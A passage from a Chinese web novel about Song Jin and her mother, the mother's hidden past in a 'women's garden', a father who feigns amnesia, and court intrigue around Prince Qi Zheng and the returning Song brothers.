这态度就有些诡异了,但宋锦也没有多想,毕竟是自己亲娘,还能挖坑故意害她不成?大不了就是挨两顿打嘛,她兴冲冲 “恭王就更不行了,一把年纪,肚子就跟怀胎五月似的,看着就眼睛疼。礼王勉勉强强,但是矮了点,下面的安王、怀王,看起来跟鹌鹑似的,这皇子当的也是如履薄冰,剩下的那些个小破孩,毛都没长齐呢……” 她从上到下把几个皇子全都点评了一番 齐铮全程用那双漆黑的眸子盯着她,一言不发 但不是让她一言不发啊 眼看着宋锦叽里呱啦把所有人都点评了一番,然后闭上嘴,亲亲昵昵地搂着牛铁兰蹭着人,完全忽视了面前宛如遮阳树一般高大的他 齐铮开始心疼送出去的石玉 那玩意儿虽然对他的用处不大,但是巴掌大小,又是玉又是金,日后离开都城就是当普通玉石典当,也够他随便半辈子了 现在免费送出去了,一句好话没有不说 一个字都没 齐铮面无表情地看着宋锦,很想问她良心会不会痛,但是也只有想想了,好一会儿,他压下那点不悦,收回了紧盯的视线,略带生硬地开口 “都城人多嘴杂,还是切莫谈这般危险话题,传出去引人嘴舌” 宋前搂着她娘,抬起脑袋挑着眉眼:“怎么,说了你要回去告状?” 这模样,和刚才的牛铁兰不说像了十分也有个七分 齐铮:“……多注意点没有坏处” 宋锦轻轻哦了一声,凤眸明亮,盯着他慢悠悠道:“你这人吧,你自己看看,个头高、身板结实、脸长得也不赖,就是跟个老古板似的,这也慎重,那也慎重,胆子小得跟什么似的,一点儿也不像闯荡江湖十来年的人” 虽然她的着重点落在了后半段,但是前半句说的确实也不差 齐铮微微垂眸,一板一眼:“见得越多,想得越深” 不管是江湖还是朝堂,初出者总是意气风发满怀期待,等到后面,都会被一点点打磨下去,对人对物充满敬畏 齐铮便是如此,他这些年见过太多,因为一个眼神一个眼神就丧命的人了,注意些总归无错 宋晴眼睛一瞪:“你的意思是说,我头发长见识短?” 齐铮:“……我头发应该比你的长” 毕竟他个头高上不少 宋锦撇撇嘴,勉勉强强不和他计较了,她搂着老娘,夹着声音:“娘,心情好点了吗?天一会儿就凉了,我们要不先回去歇着,等下次再来?” 牛铁兰看着天上渐起的红霞,心里带着怅然:“走吧” 宋锦立马拍了拍身,拉着他老娘起身,然后小心扶着人往回走 她们所在的位置是金顶山最里面最高的地方,这里面的风光最好,但是相比外面要僻静不少。一个是没那么安全,再一个就是普通百姓,怕冲撞了贵人,基本都在外面的地方热闹 随着她们绕过山顶位置往下,大路小路下的百姓一点点多了起来,出来游玩的大多数是以家为单位的,年轻姑娘挽着娘亲,年幼稚童拿着拨浪鼓蛐蛐笼子四窜,成双结对的小夫妻含笑摘花…… 牛铁兰看着那些人,眼中带上了怅然,还有些艳羡 她轻声:“你阿爷阿婆还在的时候,他们也会带着我出门玩,我还记得有一年他们给我做过一个比我还大的纸鸢,纸鸢的尾巴可长了,挂在天上就跟那凤凰似的,在那年的纸鸢大赛中还得了第一名” 这么多年,她很少提起这些过往,宋锦却开心不起来,脸上的笑容散去大半,紧紧挽着她娘,低声 “娘,不想说就不说了” 牛铁兰摇了摇头:“其实也没什么不能说的,只不过我那时候也年幼,记得的不多,只记得你阿公姓阮,阿婆姓黎。大约我四五的时候,你阿婆人掳走,不知生死,你阿公一个人带着我,也就两三年的功夫也被人打 死,后面我就被人带走了” 想到女园里那些来来去去的女子,她抿了抿嘴,眼神也黯了下来 当年她自顾不暇,除了逃走什么也做不了,现在十数年过去,也不知那里变成了如何模样 宋锦没问她被带去了哪,只道:“阿娘还记得自己原先是哪的人吗?等后面我们回去看看” 牛铁兰怅然:“我要真记得,也不用等到现在了” 宋锦安抚:“等你好了,我们去挨着找,我带阿娘回家” 牛铁兰神色柔了下来,伸出手替她理了理皱巴巴的衣襟,轻轻应道:“好啊,等到时候我们母女一起回去看看” 宋锦满意了,母女俩又互相挽着手,小心地朝着山下走去 齐铮跟在她们身后,远远地便能看到上下等候的侍卫们,还有和李青山站在一起、仿若没事人一般的曲茂泽 这人别的不说,胆子确实非比寻常 就这般,现在还留在了原地 齐铮目光从他身上挪开,看向了一边的宋锦,果不其然,她的脸色已经沉了下来,蕴藏着风雨欲来的暴怒,只看什么时候爆发出来 便是此时 母女俩走到山脚下 宋锦松开牛铁兰,径直朝着曲茂泽奔去,她捏紧了双拳,那拳头看似不大,但是一拳下去,威力比起之前的胡武子只大不小 齐铮站在原地仔细观察曲茂泽的神态 他嘴角噙着笑,就像看不出宋锦举起的拳头似的,从容淡定的站在那儿,双脚稳立,双手自然放松,没有任何小动作 是笃定他能在千钧一发之际接住她的攻击,还是赌她那一拳下不来? 眼看着宋锦那拳头就要砸人脑袋上 牛铁兰淡淡的声音传来:“宋金金” 宋锦就像是被点了穴一般,瞬间顿住,整个人绷得就跟那石像似的,其实能一拳打碎石头,好一会儿她才不情不愿地收回了手,磨着牙,再瞥到曲茂泽含笑的脸 她伸手就冲着人狠狠一推 曲茂泽一个踉跄,双脚简单动作,便轻松稳住了身形,他不仅不生气,反而含着笑看着怒发冲天的宋锦,真心实意地感慨 “金金劲真大” 宋锦被恶心到了,她打了个寒颤,张着手就往衣服上狠狠擦着,骂骂咧咧地远离这个死变态 牛铁兰轻轻叹气 就凭借那人这段时间的表现,也看出他深沉的心思,她闺女这脑袋空空的,能用脑子对付得了他才奇怪 至于动手,算了,她怕她闺女被雷劈,没这个必要 牛铁兰不再给曲茂泽眼神,她拉住宋锦,对着齐铮道:“岐王殿下便在此别过吧,我们母女俩搭个车子回去就是” 齐铮:“夫人郡主娇贵,乘车不方便,不如与我一同回去” 牛铁兰瞥向曲茂泽,不过一瞬便收回了眼神,垂下眸:“陌生男女同坐一车恐不方便” 这人说得对,她就是冷酷无情,没有良心,看到他还活着就遗憾得不得了,遗憾得宁愿和人挤牛车吹冷风,也不想和他同行 齐铮沉吟片刻:“曲公子身强体壮,既然能战胜那武子,想来也不在意自己走回去” 听到这话,宋锦立马给了他一个赞赏的目光 不愧是她新认的朋友,就是有眼色 牛铁兰也微微扬唇,轻笑:“那就有劳岐王殿下了” 齐铮颔首:“夫人客气了” 于是三个人转身朝着那边的马车走去,至于曲茂泽 本就是随意搭的失忆路人,他们不熟 偷听半晌的曲茂泽:…… 真是无情啊 第65章 想活是本能 夜色渐深 巡逻的卫队穿着青黑色的夜巡服,腰挎长刀,整整齐齐的走在路上 大衍朝建朝的时候,因为内忧外患人力不够,上下都不得安定,便是永安城这都城里,偷盗事件屡屡发生,掳人杀人之事隔段时间便有。城内百姓无论白天黑夜都紧关门锁,小心安全 直到过了前面几年的混乱,朝廷专门安排了人手日夜巡查,加大了对罪犯的处理,一年又一年到现在,不说杜绝犯罪,永安城内确实平静下来,少有人敢作乱 因此,夜间巡逻其实是件乏累又无聊的事 巡逻的士兵们注意着左右动静的同时,也不免聊起了闲话 “哎,你们听说了没,就昨晚上,西区那边一条街不知道遭了什么秧,一条街全是鸟兽虫蛇,场面可别说了” “怎么没听说啊,你这消息可落伍了,那边说了是昨晚上去了一队的黄大仙上门讨封,结果吃了闭门关,这不,他们那边今天都在打黄大仙的小像” “可真难得,这种事不该发生在咱们这边吗?” “去去去别乱说,夜黑风高的真出点事,小心你的脑袋” “黄大仙保佑,黄大仙保佑今晚也平平静静” …… 一群人一边巡逻,一边打着岔,说着永安城最近的热闹 他们都是些底层小吏,要说知道什么机密事情,那多半是吹牛,但街头小巷、家里长短的小事情没谁比他们知道得更多了 宋锦站在一墙之隔的后面,听他们说着说着又说到了昨夜亲封的郡主之事 “据说那明光郡主,身高六尺,虎背熊腰,一双眼睛跟红灯笼似的,一只手就给那英国公世子挂道像上,还掰了三清道爷的手生啃!!” “要是别人我肯定说说书先生吹牛,这位啊,她可是那位的亲女儿,听着很合理啊” “也不知道宋首辅现在如何了,要不是他,咱们每月的夜巡费都没影咧” …… 谣言,都是谣言 宋锦翻了个大大的白眼,等到那些声音全消失了,她才再次一跃而起,翻过墙快速朝着记忆中的方向走去,一路连飞带蹦地来到了五马街的位置 她记得那人就是在这边 当初还是他们一起去选的屋子,选的一个带小院的屋子,一个月租金都得三两,当初选的时候宋锦还在心里嘀咕这些个公子哥就是不会过日子,没钱还是要硬坳 没想到后面他又搞小学堂,又弄其他乱七八糟的,还真弄得有模有样,看起来就是早有计划 不过再有计划,再聪明,他也别想就这么轻飘飘的略过这事 宋锦眼中闪过凶意,很快锁定了目标,跳入小院 现在子时,正是夜最深的时候,正经人早已入睡,她看着没有一丝烛火的屋内,因为这人不打呼,她绕了一圈,好一会儿才通过轻轻的呼吸声确定人的位置 宋金撇了撇嘴,为自家老娘找回一点安慰 好歹不是抠脚打呼的糙汉子 不比有巡守的王府,这边的房屋门窗夜间也紧闭着,虽然她能轻易地能破门入,但联想着这人白日时候无声的胜利 宋锦谨慎行事,她从兜里掏出了香烛,点燃往里面熏去 弄完了以后,她就转身朝着院子走去,双手抱胸站在屋檐下,轻轻抖着脚,看着天上的圆月,一想到后面要做的事情,她忍不住愉快地抖起了腿,无声地哼着小曲儿 就这样接近一刻钟,她勾着嘴转身,咔擦一声打开房门,轻手轻脚进去 再一关门,一转身 宋锦脸上笑容消失,面无表情地看着端正坐在床上的人:“你怎么还醒着?” 这人到底是个什么玩意儿?她可 是用了寻常人三倍的量 她甚至没想过让这人昏迷过去,只想着让他继续保持熟睡状态,不被她的动作惊扰就行了,结果连这点效果都没达到 危险 宋锦报复心思退散,做好逃离的准备,嘴上不忘威胁:“我现在可是郡主,我要是有个三长两短,你这小子也等着玩完吧,我来之前可是和他们说了的” 曲茂泽盘腿坐在床上,他穿着白色里衣,单手扶着下巴,看着宋锦警惕还不忘威胁的模样,无奈的同时更觉好笑 他轻笑:“金金大晚上过来,是想爹了?” 宋锦黑了脸:“想你死啊混蛋,还没回答我,你怎么一点儿事都没?” 曲茂泽轻轻叹气:“真是一点儿也不可爱” 宋锦呵呵冷笑,手上短针已经立于指尖 不管了,先弄死这混蛋再说 曲茂泽及时打断她的动作,轻笑:“你娘没和你说过吗?这是我教她做的香” 宋锦收回短针,嘴唇微微鼓起,懊恼今天出师不利 她果然还是在安逸环境中呆久了,忘了外面人外有人,天外有天 但是,她果然也没猜错,面前这人问题大了去了 她警惕着:“你装失忆到底是为了什么?” 曲茂泽轻笑着下了床,他一步步前进,宋锦一步步后退,整个人紧绷起来,袖间短刀落在手间,做好了随时撤离,与反杀的准备 就在她退到门口的时候,曲茂泽停了下来,他轻笑一声,悠悠坐在桌边,拿起简单的陶茶壶,给自己倒了杯水 “我以为你会问我为什么这些年没陪着你们母女俩” 宋锦不屑:“谁稀罕这个” 那肯定还是有些稀罕的,这狗东西让她娘这些年过得这般辛苦,想想都十分可恨,值得一顿连环暴打和断腿断手。但这又没这么重要,现在关键的是这人身份成迷意图不明,万一干了点什么大逆不道的事情牵连她们母女 还不如早点死得好 现在死其实也可以,但是她娘都看到人了,还有齐铮那个古板王爷知道内情,万一有点什么她也脱不了手,她只能压下这个想法 看得出她对自己的全然不在意,曲茂泽叹息:“跟你娘一样无情啊,你娘这些年,看来没说我什么好话” “要说什么?你很重要吗凭什么说你?我娘一直以来的身份都是寡妇,寡妇知道吗?就是死了丈夫”宋锦嫌弃地撇嘴,随后眼珠子转动,加大声音 “听到了吗,是死了丈夫,死了的。一名合格的死人,就应该好好的死在地里,跟秋后蚂蚱似的乱蹦跶,那叫诈尸闹鬼,是要被放架子上火烧的” 可见她对于自己多了个爹的事情是非常反感了 但是真的很可爱啊,凤眸明明亮亮,灵动又狡黠,眉眼张扬又肆意,整个人都带着无拘无束的快乐 也不怪那人非要来这一手 曲茂泽眼神柔软似水,但面上没有变动,还是一副悠然自若不在意的模样,他拿起茶杯重新倒了杯水,便是简陋的茶壶茶杯,放在他手中也想是上好的紫砂壶一般 他笑:“说半天了渴不渴?过来坐着喝杯茶吧” 宋锦有种一棍子打在棉花上的无力感 这人要是自大的拿着亲爹的名义,宋锦能一巴掌打过去,便是他直接认怂讨好,宋锦也能啐他两口,再潇洒扬长而去。但他偏偏是这种慢条斯理,不急不慢,仿佛不在意的感觉 她要真做什么倒是显得她更在意了 宋锦努力把气压了下来,皮笑肉不笑:“我怕你下毒” 曲茂泽眉眼挑起,声音悠悠,意味深长:“怎么会,你可是我唯一的亲女儿啊” 听到这两字,宋锦一个上前,一巴掌在桌子上,撑着双手面无表情:“你想死吗?” “怎么会?我这个人别无所长,就是命大,也比所有人都想活,当年你娘害我当了两月的活死人,日日生不如死” 在宋锦骤然增大的目光中,曲茂泽依旧不急不忙,轻轻扬着嘴角,用着平日惯常的语调,轻缓补充 “我还是想活下去” …… 晨光骤亮,永安城新的一日重新开启 在外面响起的车马人声中,宋府的丫鬟小厮们开启了每日的日常 招待主子倒是小事,整个宋府就没几个主子,除了贴身的大丫鬟和侍从以外,其他的丫鬟家谱从起床起便要开始一日的工作,打扫房间、清理小院、裁剪花草…… 小眉和小耳在林溪镇的时候便是负责这些,那会儿宋锦和牛铁兰母女俩都不需要她们怎么照顾,她们就负责家里的小院杂事 而都城各种规矩要求多了起来,她们就专门负责牛铁兰和宋锦的贴身伺候,就是这都有些忙活不过来。好在那六个女官还在,由她们教导,小眉和小耳这段时日倒是越发有模有样了 现在她们不止负责母女俩的贴身事宜,还要带身后的其他小丫鬟 那是从宋府家生子里面找出来的小丫鬟,都是十二三四,机灵乖巧的孩子 以往母女俩没过来的时候,她们作为普通的小丫鬟,每日负责府内粗活,从早忙到晚,月钱也不多,现在被选出来成了二等丫鬟,每日需要干的活少了,不说月钱也增加了,她们一个个学得可开心了,干活也起劲 宋锦还没起来呢,一群小丫鬟就已经守在了门口等待,等到她打开房门 梳发打扮、打水洗漱、收拾床屋…… 各个丫鬟们各司其职,就连院子里也是单独的人清理 宋锦别说是整理床被扫屋子里,就是吃饭都有人伺候,动个嘴就行了 她坐在铜镜前,打着哈欠由着小眉给她梳理头发 正常来说,母女俩身边一人有四个大丫鬟,但是府里没什么丫鬟,都需要慢慢来,再加上母女俩出门也不喜欢带人,就暂时只有小眉小耳两个 小眉性子更沉稳,便跟着宋锦,也能看着些人 她看着哈欠连天的宋锦,笑道:“小姐昨夜没睡好?” 宋锦打着哈哈:“想事情呢,就没睡好” 小眉憋笑:“是吗?那昨日夫人夜间惊醒,过来找你不见你回应?” 宋锦抓抓头发,藏住心虚:“哈,哈哈,那可能刚好睡死了” 她娘可真是逮人专业户,平时柔柔弱弱,大部分时间都在睡觉,但每次她搞点什么的时候,她娘就是能把她抓个正着 这是什么亲娘直觉啊 宋锦想着又打了个大大的哈欠,她昨天也就上半夜睡了一下,后半夜那么一通跑本就消耗体力,又停了半天的往事,她纠结的一晚上都没睡着,天亮了才勉强眯了眯眼 困死了 小眉见她哈切连天眼睛都睁不开的模样,叹了叹气,还是提议:“反正今日也无事,小姐若没睡好,不如再睡一会儿?” 宋锦:“我觉得你说的有道理,那你们先出去我再睡会儿” 小梅应了两声,又把宋锦的发簪这些拆掉,让拿衣服的小丫鬟将其放回去,然后带着人退出去 房门再次关上 宋锦打着哈欠起身,耷拉着鞋子重新扑到床上,像个蚕宝宝一般钻到被子里面,拱起大半个身子。 没一会儿,房门轻轻打开,有人缓缓走了进来,隔着被子躺在另一边,伸出手轻轻拍着她的后背 宋锦眼皮颤了颤,小声嘟囔:“我又不是小孩子了” 牛铁兰叹息:“小孩子都比你听话” 宋锦撇嘴:“哪有,我可什么都没做” 牛铁兰拍着她的手一顿,眼眸中闪过复杂,叹息声中带着了然:“你知道了啊” “知道什么,我什么都不知道” 宋锦翻了个身,继续埋在被子里面,带着些耍赖意味地说着,一只手从被子里钻了出来,拉住牛铁兰的手紧紧扣在一起 牛铁兰复杂情绪中的那点担忧退散,她覆手合上,轻轻叹气,诉说着越了十来年的往事 “你阿爷被打杀之后,我就被人带走了,那是一个女园,从十五六岁的姑娘到四五岁的幼女,个个都是精挑细选、各有风采的美女子。前朝皇帝荒淫,从上而下尽皆如此,那园长便训着我们,我原是打算送进宫去,以做接应” “但事与愿违,恰好那两年各地起义,国内征战狗皇帝没了选秀的心情,后面更是被砍了头颅,朝廷从头到下来了一场大清洗,我们这些个人倒是没了用处” 宋锦蓦然探出脑袋,一双凤眸闪过杀意:“背后是谁?” 牛铁兰伸手轻轻的抚着她的脑袋 ,轻声:“于我来说他是困了我10来年的凶手,于前朝皇帝来说,他是有着谋逆这心的反贼,但是于普通百姓恶言,他是想终结荒淫前朝的英雄,谁又知道那是谁呢?” 宋锦依旧冷着脸:“我管他是谁,杀人偿命,欠债还钱,有本事害了这么多人,还没本事承认?” 牛铁兰摇了摇头,继续:“新朝建立以后,皇上不近女色,未曾弄过选秀,诸侯也不敢张扬,我也无从送起。但他们也不会白养着人,我在女园带人学绣制香,像我这样的人有几个,更多的还是十四五岁便被带了出去,不知所踪” 她本身预计献给皇上,本就是花了大价钱的,不能随便送走浪费了,再加上一手制香手艺,又能带人,就一直‘蹉跎’,直到她那日偷听到自己也要被送走 她开始收集东西,做好了万全准备,在中途逃走。一连半个月的时间,她自己都不知道走了哪些路,也找不回女园的位置 但她不在意 虽说园里的女子都是些苦命人,但只要有人的地方就有争端,她牢牢占据顶层位置,和大部分人关系说实话并不算好 牛铁兰其实能理解其他人的想法,毕竟女园争的并不只是吃喝问题,而是争被送出去的地方、被送的人,还有送出去的一辈子,再有上面特意的撺掇…… 她到底是个自私的人 即便在后面碰上了曲茂,泽和他相爱并且在一起了,她也从来没有透露过自己的身世一个字 她说自己被拐,然后逃跑途中撞到脑袋不记事了 宋锦听得若有所思,然后吐槽:“娘你还说他正直忠义呢,现在看来哪点像了?这报复心也太重了吧” 她娘以前说自己失忆,他现在也来说失忆,真是失他娘的忆啊 她娘的眼光也不太行咧 对此,牛铁兰无力反驳 现在想想,她也不确定记忆中的曲茂泽正直谨然的模样是他装的,还是纯粹是她当时死里逃生给人美化了。但是人看都看上了,孩子都这么大了,再来谈论眼光就没什么必要了 牛铁兰压下那股被女儿揭穿老底的尴尬和不好意思,思忖半晌,才小声说起了那场燃起来的大火 “那段时间他生病了,我也不知道为什么,从外面制了很多香筒回去,摆在房间里,现在想想,应该是红线蛊毒作用” 她身上的红线蛊,应该是她离开女人的那一天就被种上了,那日来女园接她的队伍里就有一岭南装扮的男人 甚至于那时候喜欢上那人 不对,她还是能分清自己的心意的 牛铁兰轻轻按着心脏,想到当年的那场大火,里面依旧宛如有什么搅动一般疼痛,她扯着嘴角,带着浓重的自责和愧疚 “香筒里是火药,炸了房子直接燃了起来,一整个小院都被火吞了,若我当时在还好,偏偏那个时候我去外面买东西” 牛铁兰仔细回忆着当时的情况,这么多年过去了,她很多细节都已经想不起来了,看起来一卡一顿,中间少了什么,又像梦中观花,越想越不对劲 她眉头紧蹙,不太确定道:“应该是买东西?我当时好像拿着一册书,就看到火烧起来了,跑回去之后都说他死了,那些人要抓我,我就跑了” 宋锦坐起身:“那那册书呢?” 牛铁兰紧蹙的眉头松开,睨着宋锦,道:“你忘了?那年你在上面画小乌龟还挨了打” 宋锦:…… 行吧,她想起来了 她从小到大装模作样的小打不断,正经的挨打也就那一次,她娘可真心狠呢,当时给她手都打肿了 想到这些,宋锦撇了撇嘴,联系着昨天晚上曲茂泽说的,她理清楚了来龙去脉 对此,她冲着牛铁兰竖起了大拇指:“娘,你有点东西啊,跑得可真快” 牛铁兰有些尴尬和懊恼:“虽然非我本意,但这事确实因我而起,是我害死的人,当时若被抓到了,无论什么缘由跑不掉。我倒也不是怕死,但我才刚出来,我还想出去看看,也想回去看看你阿爷阿婆,后面又发现了你” 她就更要跑了,跑得远远的,跑得无人能认出她 林溪镇那种小地方再合适不过了 她确实是个自私又无情的人,那人说得一点儿也不错 即便这些年猜到是自己害死的那人,她依旧能装作若无其事,能一年年从不提起人 牛铁兰笑得有些苦涩,又有些害怕,都不敢抬头去和宋锦对视 她怕在她眼中看到嫌弃 那是不可能的,宋锦凑过去抱住牛铁兰,把人楼得紧紧的,发自真心地夸道:“娘你也太厉害了,真的” 她娘一个人逃出囚禁她多年的女园,一次次死里逃生,一个人筹划未来的生计 但凡其中出了半分差错,她好的结局是痛快死去,坏的结局谁也不好说 当初曲茂泽出事,若她当真不跑,便她是无辜的、是被控制的,那些人能信?就算信了,事已至此,曲茂泽生死未卜,她又能吃得了好果子? 宋锦紧紧地搂住人,感受着脖子间的湿意,她蹭了蹭人,轻声安慰:“阿娘,什么爱恨情仇都不及活着来的重要,想活是本能,殉情才是傻蛋,世界上最傻蛋的事情就是殉情了……” 人死如烟散,死都死了,还能感受什么? 人只有活着才能继续爱人,自己活着,也替对方活着 在她温声细语的安慰下,牛铁兰到底还是没忍住,靠着她哭了出声 哭出这些年的愧疚自责 还有委屈 当年的她不过十七岁,其中大半时间都在女园,年复一年的待在小园子里,年复一年地被洗脑 她就是想看看外面,她就是想活着 后面却连想活着都是错 她又怎么能不委屈呢? …… 屋里母女俩细声宽慰,屋外小眉站在门口,听着里面的动静微微皱眉,细声地让院里的小丫鬟们无其他地方忙活,然后也走到了院门口处 小耳站在旁边,踮着脚回头看,明显不太放心 她左耳缺了个不小的口子,平日比较明显,不过现在,那缺口处套上了玉石金坠,遮了那点瑕疵,反而更衬那圆圆的脸,俏皮中又多了些金贵 不是刚来时候土土的小丫鬟了 小眉穿着深紫色的衣裙,头上也挂着金玉簪子,像是大家小姐一般端庄稳重,她拉住不断蹦跳的小耳 “行了,好好站着,等回头又要被郑女官罚站了” 郑女官的名头还是很有用的,小耳立马端正站了起来 虽然之前走姿被评了及格,但是站姿走姿在礼仪中可以说是最基础的,她们后续需要学的可多了去了 小眉还好,学得快身段好,又端庄稳重,很少被罚 小耳个头笑,整日蹦蹦跳跳,没少挨罚,她搓着手,抱怨:“小眉你吓我,我手还疼着呢” 小眉好笑:“活该,让你不警醒,每次都犯同样的错” 小耳皱鼻:“知道知道,说得我耳朵都长茧子来” 两个人就站在外面守着,不让外人靠近 等了一个时辰,里面还是没有动静,她们猜测母女俩应该是说了话之后又睡了 ,毕竟昨晚上都没有睡好 守着守着,前方有人走了过来 两人行礼:“五公子” 宋清之摆了摆手,他一贯平易近人,喜欢说笑,这时候却严肃了起来,直接道:“去把小姐夫人喊起来,打扮庄重些去东门,老大老三他们回来了” 小眉和小耳愣了一下,很快反应过来老大和老三是谁了 一个是负责青郡府梁家之事的户部侍郎宋行之 一个是征战边疆的大将军宋慎之 第66章 不会跟小姑娘抢? 正午时分 永安城东门大开 城门整条街被清理出来,路面整洁无一脏乱,城门前后一里铺满了红毯 金色的仪仗立于城门之下,身着厚重黑金甲衣的高大亲卫手持重剑宽盾,沿着城门前后站立,与之相反的是穿靛蓝短衣的亲卫,他们身形略微矮小一些,一个个看上去宛如浪里白条,很是轻快,各个手中腰间带着小型弓弩、短刀、长鞭一类 两队攻防结可,期间还有小队手持长剑立于楼上 往日安静的城墙之上立满了人 齐烨一袭金色龙袍,稳稳站在最前面的位置,城墙高大而厚重,三米的宽度足以让他们轻松立于墙上,远眺数里之外 挥扬着黑色旗帜的兵马缓缓朝着永安城靠近,远远地看不清其中的人,齐烨也能想到最前面的青年人是如何的意气风发 那是大衍朝的少年将军,夜市宋家老三 宋家五子五子各有风采 老大宋行之擅文,交际上如鱼游水,结交了大批的人 老二宋顺之擅刑,不卑不亢抽丝剥茧,破了不少案子 老三宋慎之擅兵,征战沙场,打服周边附属小国,为国家栋梁 老四宋安之擅器,弓弩长剑铠甲,他这些年改进了不少,为朝廷省了大批兵马费 老五宋清之擅商,每年都能让他的私库充实起来 那些人总是说宋商暗藏贼心,培养这么多孩子就是别有用心,让他多注意多打压,他们知道个屁啊,自己养不出厉害孩子还不让别人养了? 宋商在,他不用批那么多乱七八糟的奏折,也不用担心当初那些个反贼继续霍乱,也不用担心蠢货们乱出搜主意,朝廷的局面平稳了,边疆的安全也守护了,就连他私库也越发充足了 那些个蠢货懂个屁啊 这些人也是日子过好了,就知道说威胁威胁,也不看看前朝那死皇帝,人都快把百姓杀死完了怎么不见他们多说两句? 一个个欺软怕硬的软骨头 齐烨对他们嗤之以鼻,但是到底一起推翻了前朝,构建了现在的太平盛世,只要不犯大错,嘴碎了些,他捏着鼻子勉强忍下来了 但那是于他 一朝天子一朝臣,这些老的蠢货占着位置不做事,不想着让百姓过得更好,只想着自己可以享福了,在他这里也就算了 下一辈,齐烨不会容忍他们继续这样下去 世家带着世家,贪婪裹着贪婪,一年年过去,说不定哪年就反噬了 他需要新鲜血液,需要寒门学子,需要清正之人,需要一点点把这些深藏于前朝、谋于自身的腐烂骨头一点点打碎,伴着鲜草一起投到潮水之中 齐烨侧头看着旁边和自己像了五分,却比自己更年轻更高大的儿子,他伸手指向远方一点点靠近的整齐军队,问 “你看到了什么?” 齐烨作为皇帝,一言一行自然被所有人看在眼里,眼看着他把齐铮一路带在身边,又眼看着他越过其他王爷先问他 众人心中都有些沉 皇上的意图也太明显了点,生怕他们不知道他想把皇位传给自己的亲儿子 所有人把目光放到齐铮身上,仔细打量着他这个从民间找回来的王爷 毋庸置疑的,齐铮绝对是齐烨的亲子,这一点在他刚回来的时候就已经确认过无数遍了,身形年岁、身上胎记、滴血验亲,甚至这些年的行走轨迹 无一不验证了他确实就是当年丢失的皇子 作为皇上,齐烨想要亲自继承皇位自然没有问题 但是齐铮丢失二十年了,这二十年间朝中势力枝叶早已展开,都各有自己的站队 他一回来,直接打破了平衡 而且他还是由宋商找回来的,和宋家略为亲近,又对他们的各种示好无动于衷,简直软硬不吃,让他们看不到一点好处 去掉私人利益,就说国家大事方面,齐铮学识浅薄,便连最基础的四书五经都没掌握好,更别说其他的了。这么一个草莽般的人,皇位交到他手里,谁能放心? 众人看向齐铮,等待他的回答,也等待看他的笑话 齐铮这段时间没少见到这种场面了,现在都还收敛一些了,他刚回来那会儿,基本上走到哪碰到谁,那人都会明里暗里说着读书的事,说了还要故作歉意的表示自己不是故意的 要他说啊,这些达官贵族和村里的大爷大娘没什么区别,每日最喜欢的事就是打量别人的大事小事,然后回去说闲话 无聊得很 他无视这些人的目光,忖度片刻,发挥自己的所有学识,也想不出什么可以修饰的话,他也没有强求,老老实实道 “我看到,一个想念父亲的人” 相比起其他孩子的身世,宋慎之可以说是五个人里最清白的,他出生普通的百姓家庭,父亲叔舅都因为劳役去世,娘亲因病去世,他四五岁时候就流浪街头成了乞儿 宋商收养他的那年他七岁,当时他已经混成了街上的乞丐头头,带着那一群小弟和其他人乞儿抢地盘 他抢赢了,也赢得了宋商的青睐 从此,宋慎之就从街上惹人嫌的小乞儿成了宋家三公子,再后面十五岁上战场,十六岁立大功,一路到现在二十三岁 他上一次回都城是三年前 那时候宋商亲自带着其他四子前往城外驿站接他,而这一次,他面对的是生死未卜的养父和风雨飘摇的宋家 宋慎之此行带着那么多兵马,途过青郡府还耽搁几日,就这般也不到一月时间就赶回了永安城,其中定然一路快马加鞭 齐铮换位思考,若自己是宋慎之,那把自己从乞丐堆里拉出来,又一手培养自己的养父生死未卜,他定然也是十分着急,便是日夜兼程不眠不休也要赶回来 可惜,宋慎之作为戍边将军,不得消息不能随意乱跑,那出事的消息一来一回传达,又要安排离开的事宜,还要去青郡府抓人,肯定心急如焚 想到这些,齐铮的脸上浮现了些伤感担忧 为了宋商,也为世态炎凉 新朝建立不过二十年,上下官员便因为自身利益这般,再过些年又会成何地步? 说到底,还是因为新朝的班子有一半是前朝延续下来的,便是这些年一点点削去,也不伤筋动骨 他想得深,但是在在场的人看来 他在施苦肉计 这么大一个人来,他怎么好意思使苦肉计啊 但是很有用 齐烨那么一问,有表明自己态度的意思,也确有想听听自己这个儿子的看法 在他眼中,宋家人如何? 没想到会听到这么个回答,他怔愣住,眼中立马出现了心疼和愧疚,伸手拍了拍齐铮的肩膀,声音轻和下来 “朕现在就在你身边,想爹了随时进宫里就好,小住半年一年的也无事。对了,你不是喜欢往城外走吗?这边东门出去有一个马场,等回去我就遣人把地契给你送过去” 齐铮又震惊又困惑:“啊?” 马场是什么大白菜吗?怎么说给就给啊,他说什么了? 他这个表情在齐烨看来是被自己感动到了 齐烨又有些心酸了,自己金贵的皇儿,若不是流落街头,哪至于为这些小东西感动啊 其他王爷们:…… 别说感动了,他们嫉妒得眼睛都红了好吗? 他们这些当王爷的也没见过这世面啊 那可是马场 场地就不说了,永安城周边都是寸金寸土,一个马场土地就不说了,更贵重的是上面的马,随随便便都是几百上千两一匹,那可真是个聚宝盆,一般人还不能碰 就是齐烨,他手头也就六个马场,现在就剩下五个了 感受周边的嫉妒嫌弃的目光,齐烨还有些不解怎么突然就给东西了,但是有免费的不要白不要,他冲着齐烨行礼 “谢父皇赏赐” 尊敬,但又生疏 齐烨心里苦涩,没表现出来,只拍了拍他的肩膀疏解。他掠过现场其他人各色的眼神,尤其是几个王爷的,在心中嗤笑一声 他的东西他想给谁就给谁 他转头继续看着远方归来的军队,想着宋 家兄弟,想着宋商,眼前突然浮现一双灵动的凤眸,他又问 “明光那丫头如何了?” 齐铮好一会儿才反应过来明光是谁,斟酌道:“挺好的,昨日还去看了道学院看了比武,又去金陵山看了花,回去应该松动了手脚” 齐烨叹息:“金陵山啊,也是,最近金玲花又开了,可惜啊,栽花的人反而看不到了” 齐铮心中早早有些猜测,这会儿见齐烨这般神情,试探道:“这金陵山,父皇知道在谁的名下吗?” 齐烨挑起眉头:“怎么,你喜欢?” 齐铮顺着点头 齐烨:“那就喜欢吧,这山是宋首辅的,他现在不在了,日后也是在明光那丫头手上,你不会还想跟小姑娘抢?” 一直以来的猜测落了地,所有的一切也都说得准了 虽然不知道宋商是怎么做的,也不知道他为何要这般走,但是宋商就是曲茂泽,曲茂泽就是宋商 他一开始的猜测没有错 齐铮眉头轻皱,试探道:“既然是宋首辅的遗物,儿臣自然不会和明光郡主抢” 